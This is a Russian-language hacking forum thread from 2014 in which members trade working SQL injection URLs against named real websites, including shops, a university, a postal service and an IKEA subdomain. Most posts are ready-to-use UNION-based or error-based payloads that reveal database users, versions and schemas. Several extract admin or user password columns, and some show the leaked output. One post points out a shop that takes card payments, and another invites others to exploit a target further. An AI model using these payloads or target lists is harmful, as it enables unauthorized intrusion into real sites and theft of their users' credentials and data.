SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Zen1T21

    Zen1T21 Member

    Joined:
    13 Jan 2013
    Messages:
    158
    Likes Received:
    37
    Reputations:
    2
    del_
     
    #15861 Zen1T21, 30 Nov 2014
    Last edited: 6 Dec 2014
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    Code:
    http://www.maestrosvault.com/search.php
    'and(extractvalue(1,concat(0x3a,(SELECT adminPassword FROM admin))))and(1)='1
    5
    Code:
    http://rechport-ykt.ru/uslugishow.php?i=-9+/*!12345union+select*/+1,2,version(),4,5,6
    ver 4

    Code:
    http://www.frsky-rc.com/download/down.php?id=121+and(extractvalue(1,concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name=0x61646d696e+limit+5,1))))--+
    5
     
    _________________________
    1 person likes this.
  3. unic0rn

    unic0rn Banned

    Joined:
    14 Jan 2014
    Messages:
    28
    Likes Received:
    17
    Reputations:
    16
    Mamas Rezepte
    PR: 3
    тИЦ: 10

    Code:
    http://www.mamas-rezepte.de/drucken.php?rezept=-1458+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+--+
    IPA. Ruhr-Universität Bochum
    PR: 6
    тИЦ: 0

    Code:
    http://www.ipa.ruhr-uni-bochum.de/e/publik/litera/literaliste.php?refid=1912'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14+--+
    Национально-освободительное движение
    тИЦ: 350
    PR: 3
    Трафик: 11к уников в день

    Code:
    http://rusnod.ru/poisk.php?tagz=11+UNION+SELECT+1,2+--+
    Официальный сайт российской космической обсерватории ТЕСИС
    тИЦ: 700
    PR: 5

    Code:
    http://www.tesis.lebedev.ru/show_img.php?did=0+UNION+SELECT+1,2,3,4,5,6,user(),8,9,10+--+

    //1 сутки = 1 пост
     
    #15863 unic0rn, 5 Dec 2014
    Last edited by a moderator: 5 Dec 2014
    1 person likes this.
  4. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Australian College of Pharmacy
    Code:
    http://www.acp.edu.au/image.php?id=1+union+select+1,2,3,concat_ws(0x3a,version(),user(),database())--&output=tag
    Australian Photographic Engineering Pty Ltd
    Code:
    http://www.aupassportphoto.com.au/category.php?id=-2+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9--
    Code:
    http://shop.paintballshop.ee/article.php?id=-2+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--&lang=est
     
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    Code:
    http://www.sandwichglassmuseum.org/events.php?pgID=15+div(0)union(select(0),0,0,1,0,0,0,0,0,0,0,0,0,0,0,0)
    file_priv Y
    5.0.91
    Code:
    http://www.greyhighlands.ca/explore.php?pgid=207+div(0)union(select(1),2,3,4,5,6,7,8,9,10,11,12)--+
    5.5
     
    _________________________
    #15865 yarbabin, 8 Dec 2014
    Last edited: 8 Dec 2014
    3 people like this.
  6. unic0rn

    unic0rn Banned

    Joined:
    14 Jan 2014
    Messages:
    28
    Likes Received:
    17
    Reputations:
    16
    Иранский Фейсбук :)

    Code:
    http://iranfacebook.net/ticket/ticketa.php?user=-3'+union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72+--+
     
    1 person likes this.
  7. Jamsho0T

    Jamsho0T New Member

    Joined:
    14 Jul 2009
    Messages:
    45
    Likes Received:
    3
    Reputations:
    1
    Code:
    http://www.geebeauty.com/toronto.php?page=Laser-Hair-Removal%27+/*!12345union*/+/*!12345select*/+1,2,3,version(),5,6+--+
    5.5.40-MariaDB
    PR 4
    alexa 2,064,183
    вывод в титуле
     
  8. unic0rn

    unic0rn Banned

    Joined:
    14 Jan 2014
    Messages:
    28
    Likes Received:
    17
    Reputations:
    16
    IKEA

    Code:
    http://midseasong.ikea.de/index.php?eh_pfad=-muenchen_eching'+union+select+1,2,3,user(),5,6,7,8,9,10+--+
    Пачка каких-то русских сайтов:

    Code:
    http://humor.zooclub.ru/anekdots.php?id=-112+union+select+user(),2
    Code:
    http://fm01.ru/listen.php?post_id=-809'+union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
    Code:
    http://bazatabletok.ru/instruktsiya-po-primeneniyu.php?id=-3034+union+select+1,user(),3,4,5,6,7,8,9,10+--+
    Code:
    http://www.gmsn.ru/object.php?sobj=-podolsk2'+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15+--+
    Code:
    http://strugi.ellink.ru/browse/show_news_type.php?r_id=-115+union+select+1,2,3,4,user(),6,7+--+
    Code:
    http://www.sex-leshiy.ru/sex_post.php?id=-184'+union+select+1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16+--+
    Code:
    http://volvo.autopassage.ru/index.php?id=-48'+union+select+1,2,3,4,5,6,database(),8,9,10,11,12,13+--+
    Code:
    http://www.kapepa.ru/vivodvakansii1_cat2.php?cat2=-32'+union+select+1,2,user(),4,5,6+--+
    Code:
    http://www.forgun.ru/information.php?info_id=-9'+union+select+user())+--+
    Code:
    http://volvo.autopassage.ru/index.php?id=-48+union+select+1,2,3,4,5,6,user(),8,9,10,11,12,13+--+
    Code:
    http://www.kapepa.ru/vivodvakansii1_cat2.php?cat2=-32'+union+select+1,2,user(),4,5,6+--+
    Code:
    http://www.forgun.ru/information.php?info_id=-9'+union+select+user()+--+
    Code:
    http://forum.cleper.ru/answer.php?id=15'+union+select+1,2,user(),4,5,6+--+
    Code:
    http://yobiz.ru/view_post.php?id=-223э+union+select+1,2,3,user(),5,6,7,8,9,10+--+
    Code:
    http://residentevillive.ru/index.php?view=-289+union+select+1,user(),3,4,5,6+--+
     
    1 person likes this.
  9. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.avenued.com/europe/merchandise/index.php?ID=-48+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
     
  10. Jamsho0T

    Jamsho0T New Member

    Joined:
    14 Jul 2009
    Messages:
    45
    Likes Received:
    3
    Reputations:
    1
    Code:
    http://www.metall.kiev.ua/answer.php?id=-4423+UNION+SELECT+concat_ws(0x3,user(),version(),database()),2
    smirno1_smirnov@localhost 5.5.35-33.0-logs mirno1_metall
    PR 1
    YA 10
    кто дальше раскрутит - напишите в пм )
     
  11. compod

    compod Member

    Joined:
    28 Sep 2010
    Messages:
    29
    Likes Received:
    21
    Reputations:
    1
    тиц 120 пр 1 версия 5.5.30-30.2-log выводит в исходник
    Code:
    anabel.by/model.php?id=15860-1=0+union+select+(select+concat(0x7c,(anabel_users.id),0x7c,(anabel_users.name),0x7c,(anabel_users.pass))+from+`goloveynikolaj1_anabel`.anabel_users+order+by+id+limit+3,1),700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700 --+
    5.1.73 версия Какой-то интересный магазинчик забугорный, берет карты палки и тд. Вывод в поле продукта
    Code:
    http://wexocom.com/wholesale.php?id=999999.9'+union+select+700,(select+concat(concat_ws(0x7c,users.id_user,users.username,users.password))+from+`dorofte542_wexocom`.users+where+users.id_user=1),700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700,700+and+'x'='x
    5.1.56-log PR - 4 какой-то обыкновенный забугорный шоп
    Code:
    exaclair2.com/show_stores.php?id=99999.9'+union+select+900,(select+concat(group_concat(table_name))+from+information_schema.tables+where+table_schema='buynow'),900 --+
    тиц 220 пр 4 версия 5 всё достал, но админка анально огорожена. хотя, я может быть плохо пытался. и в форме отзывы хэсээс самые простые проходят.
    Code:
    http://jfc-club.spb.ru/news/news.php?id=999999.9+union+select+1,2,(select+concat(concat_ws(0x7c,user.user_id,user.user_login,user.user_password))+from+`st1352_jazznotes`.user+where+user.user_id=1),4,5,6,7,8--
    шлак
    Code:
    http://comedycafe-dostavka.ru/index.php?id=999999.9'+union+select+777,777,777,(select+concat(concat_ws(0x7c,pass.id,pass.username,pass.password))+from+`comedycafe_bring`.pass+where+pass.id=1),777,777,777,777,777,777,777,777,777,777,777 -- x
     
    #15871 compod, 24 Dec 2014
    Last edited: 26 Dec 2014
  12. SyavaK2

    SyavaK2 New Member

    Joined:
    29 Aug 2013
    Messages:
    10
    Likes Received:
    2
    Reputations:
    1
    Code:
    http://dulevo-rus.ru/news/news.php?news_id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    Code:
    http://broddsweden.ru/publication/index.php?publicationtree_id=1%20and%20(select%201%20from(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a);
    Code:
    http://www.dejavu28.ru/news.php?page_id=3&action=post&post_id=999999.9+union+all+select+1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
     
    #15872 SyavaK2, 27 Dec 2014
    Last edited: 27 Dec 2014
    1 person likes this.
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.remax.net.pe/detalle_noticias.php?id=-73+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18--&lang=esp
     
  14. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.humor.co.il/category.php?id=-61+union+select+1,2,3,4,5,6,7,8,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,10,11,12,13,14,15--
     
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Anguilla Postal Service

    Code:
    http://www.aps.ai/newsstory.php?id=-8+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6--
    5.1.73-cll:postoffice@localhost:post_office
     
  16. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.swissvalley.com/news.cfm?id=-18+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--
     
    1 person likes this.
  17. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
    PHP:
    http://www.flexcart.com/members/elitefts/default.asp?m=CT&pid=-5105'+union+select+1,2,aes_decrypt(aes_encrypt(user(),1),1),4,5,6,7,8,9,10,11,12,13,14,null,null,null,null,null,null,null,null,null,null+--+
     
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.puntoverdefolletto.com/prodotto.php?id=-2+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
     
  19. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    Code:
    http://www.dostihyjc.cz/kun.php?ID=40271;select+cast(version()+as+int)--+
    postgresql 7, поиграйтесь :)
     
    _________________________
    1 person likes this.
  20. erwap

    erwap Member

    Joined:
    20 Sep 2012
    Messages:
    56
    Likes Received:
    16
    Reputations:
    0
    Code:
    http://www.hohe-absaetze.de/shop/html/index.php?Cat=MULES-AND-SLIDES&POS=1&LandVal=US&sprache=29&DID=30  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,user(),15,16 -- 
     
Thread Status:
Not open for further replies.